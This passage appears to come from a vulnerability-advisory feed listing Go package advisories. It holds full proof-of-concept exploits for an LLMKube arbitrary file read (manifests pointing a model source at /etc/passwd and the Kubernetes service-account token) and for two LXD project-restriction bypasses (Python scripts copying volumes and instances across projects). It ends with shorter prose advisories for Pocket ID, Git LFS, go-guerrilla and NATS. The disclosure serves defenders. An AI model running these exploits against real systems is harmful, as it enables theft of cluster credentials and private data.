// isLocalSource: returns true for any "/" prefix or "file://" prefix
func isLocalSource(source string) bool {
return strings.HasPrefix(source, "/") || strings.HasPrefix(source, "file://")
}
// getLocalPath: strips "file://" prefix only; no canonicalization, no allowlist
func getLocalPath(source string) string {
return strings.TrimPrefix(source, "file://")
}
internal/controller/model_controller.go:241 passes the attacker-controlled source into fetchModel, which reaches copyLocalModel at line 664-667:
f, err := os.Open(localPath) // localPath = getLocalPath(model.Spec.Source)
An attacker sets model.spec.source: /var/run/secrets/kubernetes.io/serviceaccount/token; the controller opens its own SA token and writes it to the model-cache PVC, which the attacker can subsequently read.
Sink 2 — Node arbitrary file read via HostPathVolumeSource
internal/controller/model_storage.go:560-568 converts the same path into a Kubernetes host volume with no canonical-root check:
if isLocalModelSource(model.Spec.Source) {
localPath := getLocalPath(model.Spec.Source)
volumes = append(volumes, corev1.Volume{
Name: "host-model",
VolumeSource: corev1.VolumeSource{
HostPath: &corev1.HostPathVolumeSource{
Path: localPath,
Type: func() *corev1.HostPathType { t := corev1.HostPathFile; return &t }(),
},
},
})
initVolumeMounts = append(initVolumeMounts, corev1.VolumeMount{
Name: "host-model",
MountPath: "/host-model/model.gguf",
ReadOnly: true,
})
}
internal/controller/deployment_builder.go:248-250 calls buildModelStorageConfig, and lines 329-333 embed storageConfig.volumes directly into the generated Deployment's PodSpec. When the inference pod starts, the init container copies the node file to the model-cache PVC.
The only filename-level sanitization is in internal/controller/filename.go:44-75, which constrains the destination basename only and has no effect on HostPath.Path.
Model caching is enabled by default: cmd/main.go:120 and charts/llmkube/values.yaml:274 (modelCache.enabled: true).
PoC
Prerequisites
- LLMKube 0.8.27 or 0.8.28 installed with default Helm values (
modelCache.enabled=true). - Attacker possesses
create/updatepermissions forModelandInferenceServiceCRDs in a target namespace, plusgeton Pod logs.
Path A — Live Kubernetes cluster (hostPath sink)
NS=llmkube-poc
kubectl create ns "$NS"
# Step 1: Create a Model whose source points to a sensitive node file
cat <<'YAML' | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: Model
metadata:
name: hostread
spec:
source: /etc/passwd
YAML
kubectl wait -n "$NS" --for=jsonpath='{.status.phase}'=Ready \
model/hostread --timeout=180s
CACHEKEY="$(kubectl get model hostread -n "$NS" \
-o jsonpath='{.status.cacheKey}')"
BASENAME="$(basename \
"$(kubectl get model hostread -n "$NS" -o jsonpath='{.status.path}')")"
# Step 2: Create an InferenceService that prints the copied file
cat <<YAML | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: InferenceService
metadata:
name: hostread
spec:
modelRef: hostread
runtime: llamacpp
image: busybox:1.36
command: ["sh","-c","cat /models/${CACHEKEY}/${BASENAME}; sleep 3600"]
YAML
# Step 3: Retrieve the exfiltrated file
kubectl logs -n "$NS" deploy/hostread -c llama-server
Expected output — contents of /etc/passwd from the node:
root:x:0:0:root:/root:/bin/bash
...
Variant — controller SA token (copyLocalModel sink)
cat <<'YAML' | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: Model
metadata:
name: satoken
spec:
source: /var/run/secrets/kubernetes.io/serviceaccount/token
YAML
# After the model becomes Ready, its cache entry contains the raw JWT.
Path B — Docker-only reproduction (no live cluster)
This path exercises the copyLocalModel / os.Open sink using verbatim copies of isLocalSource() and getLocalPath() from internal/controller/source.go:93-103.
# Build from the parent directory of vuln-001/
docker build --no-cache -f vuln-001/Dockerfile -t llmkube-vuln001-poc .
# Read /etc/shadow from inside the container (simulates controller pod filesystem)
docker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001-poc
# Or use the Python driver
python3 vuln-001/poc.py --target /etc/shadow
Expected output:
os.Open SUCCESS — 104 bytes read from /etc/shadow
root:*:19800:0:99999:7:::
daemon:*:19800:0:99999:7:::
llmkube-sa:$6$salt$examplehash:19800:0:99999:7:::
VULN-001 PASS: arbitrary file read confirmed
Phase 2 dynamic verification result
Both /etc/shadow (104 bytes) and /var/run/secrets/kubernetes.io/serviceaccount/token (430 bytes, raw JWT) were successfully read inside the container, and the HostPathVolumeSource JSON was confirmed to be generated with the attacker-supplied path.
Impact
This is a Path Traversal / Arbitrary File Read vulnerability (CWE-22). It affects any Kubernetes cluster running LLMKube with default settings.
Who is impacted:
- Cluster operators and tenants — A low-privileged namespace user who can write
ModelandInferenceServiceCRDs (the default RBAC posture for LLMKube users) can escalate to reading the controller's Kubernetes SA token and using it to list/get Secrets cluster-wide, pivot to other namespaces, or impersonate service accounts. - Node security boundary — Via the
hostPathsink, an attacker can read any file present on the Kubernetes node at pod-scheduling time, including kubeadm certificates (/etc/kubernetes/pki/), kubelet credentials (/etc/kubernetes/kubelet.conf), and container runtime sockets. - Confidentiality — High (arbitrary read of host and controller secrets). Integrity and Availability are not directly affected.
The vulnerability is network-reachable (attacker talks to the Kubernetes API server), requires low privilege (namespaced CRD write only), needs no user interaction, and impacts resources beyond the attacker's own namespace (changed scope).
Reproduction artifacts
Dockerfile
# VULN-001 PoC — Arbitrary File Read via Model.spec.source (LLMKube CWE-22)
#
# Strategy: compile a standalone Go harness that contains verbatim copies of
# the three vulnerable functions from the LLMKube repository and proves that
# supplying an absolute path as Model.spec.source causes os.Open() to read
# arbitrary files — identical to what copyLocalModel() does at runtime.
#
# Verified against LLMKube commit b9127e0 (tag 0.8.28):
# isLocalSource() internal/controller/source.go:93-94
# getLocalPath() internal/controller/source.go:98-103
# os.Open(path) internal/controller/model_controller.go:667
# HostPath volume internal/controller/model_storage.go:560-575
#
# Build context: parent directory of vuln-001/
# docker build -f vuln-001/Dockerfile -t llmkube-vuln001 .
# Run:
# docker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001
# ── Build stage ────────────────────────────────────────────────────────────────
FROM golang:1.24-bookworm AS builder
WORKDIR /build
# Copy the exploit harness (standalone module, no k8s dependencies)
COPY vuln-001/exploit/ /build/
# Build the exploit binary
RUN go build -o /poc ./...
# ── Verification stage: prove the functions are verbatim copies ──────────────
# Extract the actual source lines from the LLMKube repo and display them next
# to the exploit harness so the diff is zero (aside from package and imports).
COPY repo/internal/controller/source.go /tmp/source.go
RUN echo "=== Verification: LLMKube source.go lines 93-103 ===" && \
sed -n '93,103p' /tmp/source.go && \
echo "" && \
echo "=== Exploit harness verbatim copies (main.go) ===" && \
grep -A3 "isLocalSource\|getLocalPath" /build/main.go | head -20
# ── Runtime stage ──────────────────────────────────────────────────────────────
FROM debian:bookworm-slim
COPY --from=builder /poc /poc
# Populate /etc/shadow with realistic content so the PoC has a sensitive target
# (simulating the LLMKube controller pod's own filesystem).
RUN printf 'root:*:19800:0:99999:7:::\ndaemon:*:19800:0:99999:7:::\nllmkube-sa:$6$salt$examplehash:19800:0:99999:7:::\n' \
> /etc/shadow && chmod 640 /etc/shadow
# Also create a simulated SA token (as exists at this path in Kubernetes pods)
RUN mkdir -p /var/run/secrets/kubernetes.io/serviceaccount && \
printf 'eyJhbGciOiJSUzI1NiIsImtpZCI6ImZha2Uta2lkIn0.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJsbG1rdWJlIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6Imxsa3ViZS1zYS10b2tlbiIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJsbG1rdWJlLWNvbnRyb2xsZXIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6bGxta3ViZTpsbG1rdWJlLWNvbnRyb2xsZXIifQ.FAKE_SIGNATURE\n' \
> /var/run/secrets/kubernetes.io/serviceaccount/token
# Default target; override at runtime with -e VULN001_TARGET=<path>
ENV VULN001_TARGET=/etc/shadow
ENTRYPOINT ["/poc"]
CMD []
poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC: Arbitrary File Read via Model.spec.source hostPath Injection
LLMKube (github.com/defilantech/LLMKube) — CWE-22 / CVSS 7.7
Vulnerability summary:
LLMKube's ModelReconciler calls fetchModel(model.Spec.Source, dest).
When source is a local path (absolute or file://), copyLocalModel() opens
the file with os.Open(getLocalPath(source)) without any path allowlisting.
An attacker who can write a Model CR can read any file accessible to the
controller pod — including SA tokens, kubeconfig, TLS keys, etc.
Relevant code:
internal/controller/source.go:93 isLocalSource() — no allowlist
internal/controller/source.go:98 getLocalPath() — strips file://, no sanitization
internal/controller/model_controller.go:667 os.Open(localPath) — sink
In full-cluster scenarios, model_storage.go:560-568 also injects the
attacker-supplied path directly into a Kubernetes HostPathVolumeSource,
exposing arbitrary node files inside the init container.
This PoC exercises attack path 2 (copyLocalModel) in Docker without a live
Kubernetes cluster by running a Go test that calls the REAL LLMKube functions.
Usage:
python3 poc.py [--target /path/to/sensitive/file] [--keep]
Safety constraints:
- Uses only local Docker (127.0.0.1), no external network calls.
- Reads only files inside the ephemeral container filesystem.
- Does not modify any LLMKube source code to manufacture the vulnerability.
"""
import argparse
import json
import os
import subprocess
import sys
import textwrap
IMAGE_NAME = "llmkube-vuln001-poc"
VULN_DIR = os.path.dirname(os.path.abspath(__file__))
BUILD_CONTEXT = os.path.dirname(VULN_DIR) # parent of vuln-001/
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
def run(cmd, check=True, capture=False, **kwargs):
"""Run a shell command and return CompletedProcess."""
print(f"[+] {' '.join(cmd)}")
result = subprocess.run(
cmd,
capture_output=capture,
text=True,
**kwargs,
)
if check and result.returncode != 0:
stderr = result.stderr or ""
raise RuntimeError(
f"Command failed (exit {result.returncode}):\n{stderr[:2000]}"
)
return result
def build_image():
"""Build the PoC Docker image."""
print("\n=== [PHASE 1] Building Docker image ===")
run([
"docker", "build",
"--no-cache",
"-f", DOCKERFILE,
"-t", IMAGE_NAME,
BUILD_CONTEXT,
])
print(f"[+] Image '{IMAGE_NAME}' built successfully.")
def run_poc(target: str) -> str:
"""Run the PoC container and return stdout."""
print(f"\n=== [PHASE 2] Running PoC against target: {target!r} ===")
result = run(
[
"docker", "run", "--rm",
"-e", f"VULN001_TARGET={target}",
IMAGE_NAME,
],
capture=True,
check=False,
)
combined = result.stdout + result.stderr
print(combined)
return combined, result.returncode
def parse_evidence(output: str, target: str) -> dict:
"""Extract key evidence markers from PoC output."""
lines = output.splitlines()
exfil_lines = []
in_block = False
bytes_read = None
step3_ok = False
pass_line = None
for line in lines:
if f"--- BEGIN EXFILTRATED FILE: {target} ---" in line:
in_block = True
continue
if "--- END EXFILTRATED FILE ---" in line:
in_block = False
continue
if in_block:
exfil_lines.append(line)
if "os.Open SUCCESS" in line and "bytes" in line:
step3_ok = True
# Extract byte count — format: "os.Open SUCCESS — N bytes read from ..."
import re
m = re.search(r"(\d+)\s+bytes\s+read", line)
if m:
try:
bytes_read = int(m.group(1))
except ValueError:
pass
if "VULN-001 PASS:" in line:
pass_line = line
return {
"step3_open_success": step3_ok,
"bytes_read": bytes_read,
"exfiltrated_lines": exfil_lines[:10], # first 10 lines as evidence
"pass_line": pass_line,
}
def remove_image():
"""Remove the PoC Docker image."""
subprocess.run(["docker", "rmi", "-f", IMAGE_NAME],
capture_output=True, text=True)
print(f"[+] Image '{IMAGE_NAME}' removed.")
def main():
parser = argparse.ArgumentParser(
description="VULN-001 dynamic reproduction PoC for LLMKube"
)
parser.add_argument(
"--target", default="/etc/shadow",
help="File path to read inside the container (default: /etc/shadow)"
)
parser.add_argument(
"--keep", action="store_true",
help="Keep the Docker image after the run (default: remove)"
)
parser.add_argument(
"--output", default=os.path.join(VULN_DIR, "phase2_result.json"),
help="Path to write phase2_result.json"
)
args = parser.parse_args()
build_command = (
f"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {BUILD_CONTEXT}"
)
run_command = (
f"docker run --rm -e VULN001_TARGET={args.target} {IMAGE_NAME}"
)
poc_command = f"python3 {os.path.abspath(__file__)} --target {args.target}"
passed = False
verdict = "FAIL"
reason = ""
evidence = ""
try:
build_image()
output, returncode = run_poc(args.target)
ev = parse_evidence(output, args.target)
if returncode == 0 and ev["step3_open_success"] and ev["bytes_read"]:
passed = True
verdict = "PASS"
exfil_preview = "\n".join(ev["exfiltrated_lines"][:5]) or "(binary data)"
reason = (
f"LLMKube copyLocalModel()이 Model.spec.source={args.target!r} 값을 "
f"경로 허용목록 검사 없이 os.Open()에 전달함. "
f"isLocalSource()와 getLocalPath() 실함수 호출로 재현됨. "
f"컨테이너 내 {ev['bytes_read']}바이트 파일 읽기 성공."
)
evidence = (
f"os.Open({args.target!r}) 성공 — {ev['bytes_read']}바이트 읽음.\n"
f"파일 내용 앞 5행:\n{exfil_preview}"
)
else:
reason = (
f"PoC 컨테이너 종료 코드 {returncode}. "
f"os.Open 성공 여부: {ev['step3_open_success']}, "
f"읽은 바이트: {ev['bytes_read']}. "
f"실행 로그를 확인하여 오류 원인 파악 필요."
)
evidence = output[:1000]
except Exception as exc:
reason = f"재현 실패 — 예외 발생: {exc}"
evidence = str(exc)
print(f"\n[!] ERROR: {exc}", file=sys.stderr)
finally:
if not args.keep:
remove_image()
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": build_command,
"run_command": run_command,
"poc_command": poc_command,
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py", "exploit/main.go", "exploit/go.mod"],
}
print("\n=== [RESULT] ===")
print(json.dumps(result, ensure_ascii=False, indent=2))
with open(args.output, "w", encoding="utf-8") as fh:
json.dump(result, fh, ensure_ascii=False, indent=2)
print(f"\n[+] Result written to: {args.output}")
sys.exit(0 if passed else 1)
if __name__ == "__main__":
main()
- Exploitation
- No known exploitation
- EPSS
- 0.48% chance of exploitation in the next 30 days, higher than 33.9% of CVEs
- CVSS
- 7.7 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Versions
- <= 0.8.28 · fixed in 0.9.0
- Weakness
- CWE-22
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 18, 2026 · first seen here 5 min ago
CVSS score: 7.7 Severity: High Identifier: GHSA-7MR3-28H5-M5VX LXD has project restriction bypass for custom volume copy across projects Package: github.com/canonical/lxd fixed in 0.0.0-20260630083100-c5184be310b1 Published Published
Reported from https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f
Summary
Missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.
Details
The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed.
From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.
PoC
Setup
We assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets storage volume create default secret-vol
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus --project secrets storage volume ls remote:default
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-volume secret-vol --name copy-secret-vol \
--pool default --source-pool default \
--insecure
Wait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance.
#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--pool", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-volume", required=True)
ap.add_argument("--source-pool")
ap.add_argument("--name", required=True, help="new volume name in target project")
ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
ap.add_argument("--volume-only", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
source = {
"type": "copy",
"name": args.source_volume,
"project": args.source_project,
"volume_only": args.volume_only,
}
if args.source_pool:
source["pool"] = args.source_pool
body = {
"name": args.name,
"type": "custom",
"content_type": args.content_type,
"source": source,
}
path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
urllib.parse.quote(args.pool, safe=""),
urllib.parse.urlencode({"project": args.target_project}),
)
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 7.7 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Versions
- < 0.0.0-20260630083100-c5184be310b1 · fixed in 0.0.0-20260630083100-c5184be310b1
- Weakness
- CWE-284
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 6, 2026 · first seen here 3 min ago
CVSS score: 7.7 Severity: High Identifier: GHSA-QX75-2P3R-PWM5 LXD has project restriction bypass in instance copy across projects Package: github.com/canonical/lxd fixed in 0.0.0-20260630083100-c5184be310b1 Published Published
Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
Summary
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
Details
cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.
From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
PoC
Setup
We assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus ls remote:
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-instance secret --name copy-secret --insecure
Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 7.7 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Versions
- < 0.0.0-20260630083100-c5184be310b1 · fixed in 0.0.0-20260630083100-c5184be310b1
- Weakness
- CWE-284
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 6, 2026 · first seen here 3 min ago
CVSS score: 7.7 Severity: High Identifier: CVE-2026-62662GHSA-Q4XM-P75H-H9P3 Pocket ID: The client credentials grant allows any OIDC client to obtain tokens for arbitrary audiences Package: github.com/pocket-id/pocket-id/backend fixed in 0.0.0-20260622164202-8158452b3730 Published Published
Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to services. From 1.11.0 until 2.10.0, createTokenFromClientCredentials in backend/internal/service/oidc_service.go accepts the client-controlled resource parameter and embeds it directly in the access token aud claim without validating that the audience is registered or that the requesting client may access it. Any authenticated OIDC client can therefore obtain a Pocket ID-signed token naming another client or an arbitrary audience. The /api/oidc/introspect endpoint cannot distinguish the unauthorized token because it treats a token as active when the introspecting client's identifier matches the attacker-selected audience. In deployments where resource servers trust Pocket ID access tokens for service-to-service authorization, this bypasses audience-based access controls and can permit unauthorized data access or actions; deployments that do not use these tokens for resource-server authorization have no immediate exploitable impact. This issue is fixed in version 2.10.0.
- Exploitation
- No known exploitation
- EPSS
- 0.44% chance of exploitation in the next 30 days, higher than 30.2% of CVEs
- CVSS
- 7.7 out of 10 · source NVD (github.com)
CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N - Versions
- < 0.0.0-20260622164202-8158452b3730 · fixed in 0.0.0-20260622164202-8158452b3730
- Weakness
- CWE-20, CWE-863
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 4, 2026 · first seen here 3 min ago
CVSS score: 7.6 Severity: High Identifier: CVE-2026-69261GHSA-X7XJ-4J4F-88XR Git LFS may leak HTTP headers after redirections Package: github.com/git-lfs/git-lfs/v3 fixed in 3.8.1 Published Published
Impact
After receiving an HTTP redirection, Git LFS may forward certain HTTP headers to a host other than the one for which they were intended. While Authorization headers are never forwarded to inappropriate hosts, Cookie headers may be forwarded incorrectly.
Git LFS has resolved this issue by never forwarding Cookie headers to hosts other than the ones for which they were intended. In particular, after an HTTP redirection is received to a URL with a different scheme, host, or port than found in the URL of the current request, any Authorization and Cookie headers from the current request will not be sent in the redirected request.
Patches
This problem exists in all versions since 0.5.0 and is patched in v3.8.1. All users should upgrade to v3.8.1.
Workarounds
No single workaround exists. As far as possible, users and administrators should review their systems to confirm no unnecessary HTTP redirections are performed, and that HTTP headers other than Authorization do not contain privileged or confidential information.
For more information
If you have any questions or comments about this advisory:
- For general questions, start a discussion in the Git LFS discussion forum.
- For reports of additional vulnerabilities, please follow the Git LFS security reporting policy.
- Exploitation
- No known exploitation
- EPSS
- 0.47% chance of exploitation in the next 30 days, higher than 32.4% of CVEs
- CVSS
- 7.6 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Versions
- >= 3.0.0, < 3.8.1 · fixed in 3.8.1
- Weakness
- CWE-522
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 5 min ago
CVSS score: 7.6 Severity: High Identifier: CVE-2026-69260GHSA-W3F2-PR6X-WWJC Git LFS may attempt arbitrary remote commands via crafted SSH URLs Package: github.com/git-lfs/git-lfs/v3 fixed in 3.8.1 Published Published
Impact
When Git LFS makes object transfer or authentication requests to a remote host via SSH, it passes the path component of the remote's SSH URL as part of a command to be executed, but does not properly format the URL's path component as a single argument. By inserting shell meta-characters into the SSH URL, an attacker may be able to execute arbitrary commands on the remote host, if the host passes the commands to a shell without sanitizing them first.
Git LFS has resolved this problem by fully quoting the arguments of the remote commands it sends via SSH.
As well, Git LFS has resolved a problem with the default HTTPS URLs used when an SSH URL is configured for a remote host and the host either does not support Git LFS remote commands sent via SSH or supports HTTP authentication via SSH for Git LFS but does not return an explicit HTTP URL in response to a git-lfs-authenticate remote command. In these cases, Git LFS now correctly encodes the HTTPS URL used to contact the remote host.
Patches
This problem exists in all versions since 0.5.0 and is patched in v3.8.1. All users should upgrade to v3.8.1.
Workarounds
Users may set the lfs.sshTransfer Git configuration option to never, after which Git LFS will not attempt any object transfers over SSH. However, Git LFS will still make authentication requests to SSH URLs, so administrators of Git LFS services should ensure their systems sanitize all commands received over SSH before executing them.
- Exploitation
- No known exploitation
- EPSS
- 1.1% chance of exploitation in the next 30 days, higher than 65.3% of CVEs
- CVSS
- 7.6 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Versions
- >= 3.0.0, < 3.8.1 · fixed in 3.8.1
- Weakness
- CWE-78
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 5 min ago
CVSS score: 7.5 Severity: High Identifier: CVE-2026-115578GHSA-HGHQ-53P7-C582 go-guerrilla crashes on a bare XCLIENT command (7-byte slice off-by-one panic) Package: github.com/phires/go-guerrilla fixed in 1.6.7-1 Published Published
The defect
Confirmed at HEAD. server.go: cmdXCLIENT = []byte("XCLIENT") is 7 bytes (line 78), so the dispatch match cmdXCLIENT.match(cmd) only guarantees len(input) >= 7. The handler then slices input[8:] (line 586):
case sc.XClientOn && cmdXCLIENT.match(cmd):
if toks := bytes.Split(input[8:], []byte{' '}); len(toks) > 0 { // line 586
A client sending the bare command XCLIENT (exactly 7 bytes) hits input[8:7] and panics runtime error: slice bounds out of range [8:7]. handleClient runs in the per-connection goroutine (server.go:391) which has no recover(); the only recover() calls are in the backend mail-processing workers (a different goroutine never reached during command parsing), so the unrecovered panic crashes the whole SMTP daemon.
Input and attacker
Connect to the SMTP port, then send XCLIENT\r\n (a bare LF also works; no HELO needed). Precondition: xclient_on: true (off by default, but a documented nginx-fronted deployment; go-guerrilla does not restrict who may send XCLIENT). Attacker model: any unauthenticated client on the SMTP port.
Verification level
EXECUTED with a negative control (agent-run, driving the real server.handleClient with XClientOn=true over the suite's mock net.Conn). The bare XCLIENT panics with the exact OOB; the negative control XCLIENT with a trailing space (8 bytes) does not panic and returns 250. The upstream TestXClient tests XCLIENT ADDR=... and XCLIENT c but never the bare 7-byte form (the missing regression case). I independently re-confirmed at HEAD that cmdXCLIENT is 7 bytes (server.go:78), that the handler slices input[8:] (server.go:586), and that handleClient (server.go:391) has no recover. NOT verified: did not stand up a standalone daemon on a real socket to observe OS-level process exit (used the mock net.Conn plus the traced absence of recover; crash-to-exit is standard Go runtime behavior).
Suggested fix
Guard the slice against the exact-verb-length case: require len(input) > len(cmdXCLIENT)+1 (or slice at the verb length and trim) before input[8:]. A recover in the per-connection handleClient loop would also contain any residual command-parse panic to the single connection.
Also checked and SOUND
The rfc5321 recursive-descent parser (MAIL/RCPT/HELO/EHLO/address) is bounds-safe (next()/peek() return 0 at EOF), and the line/size/recipient caps are enforced. XCLIENT is the only off-by-one; every other command arm slices exactly at its verb length.
Advisory-source note
Five-source enumeration (repo advisories, OSV, NVD, the global GitHub DB, no vendor CNA) shows the PROXY-header IP-spoof bug (CVE-2025-31135, fixed v1.6.7) is the only published advisory; this XCLIENT panic is undisclosed and not contested.
Dedup
Dedup gate clean: no phires/go-guerrilla blocking verdict in COVERED-INDEX, DISCLOSURE-INDEX or SCOUT-EXCLUDE.
Tooling
AI assistance was used while investigating. The panic is executed-verified with a negative control (a bare XCLIENT crashes the real handleClient while XCLIENT with a trailing space returns 250), and the reporter confirmed at HEAD that cmdXCLIENT is 7 bytes while the handler slices input[8:] on a per-connection goroutine with no recover.
- Exploitation
- No known exploitation
- EPSS
- 0.63% chance of exploitation in the next 30 days, higher than 44.6% of CVEs
- CVSS
- 7.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Versions
- < 1.6.7-1 · fixed in 1.6.7-1
- Weakness
- CWE-129, CWE-193, CWE-248
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 5 min ago
CVSS score: 7.5 Severity: High Identifier: CVE-2026-58210GHSA-R72H-J7QQ-V6QG NATS Server allows unauthenticated memory exhaustion through incomplete MQTT CONNECT packets Package: github.com/nats-io/nats-server/v2 fixed in 2.12.12 Published Published
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT and edge computing.
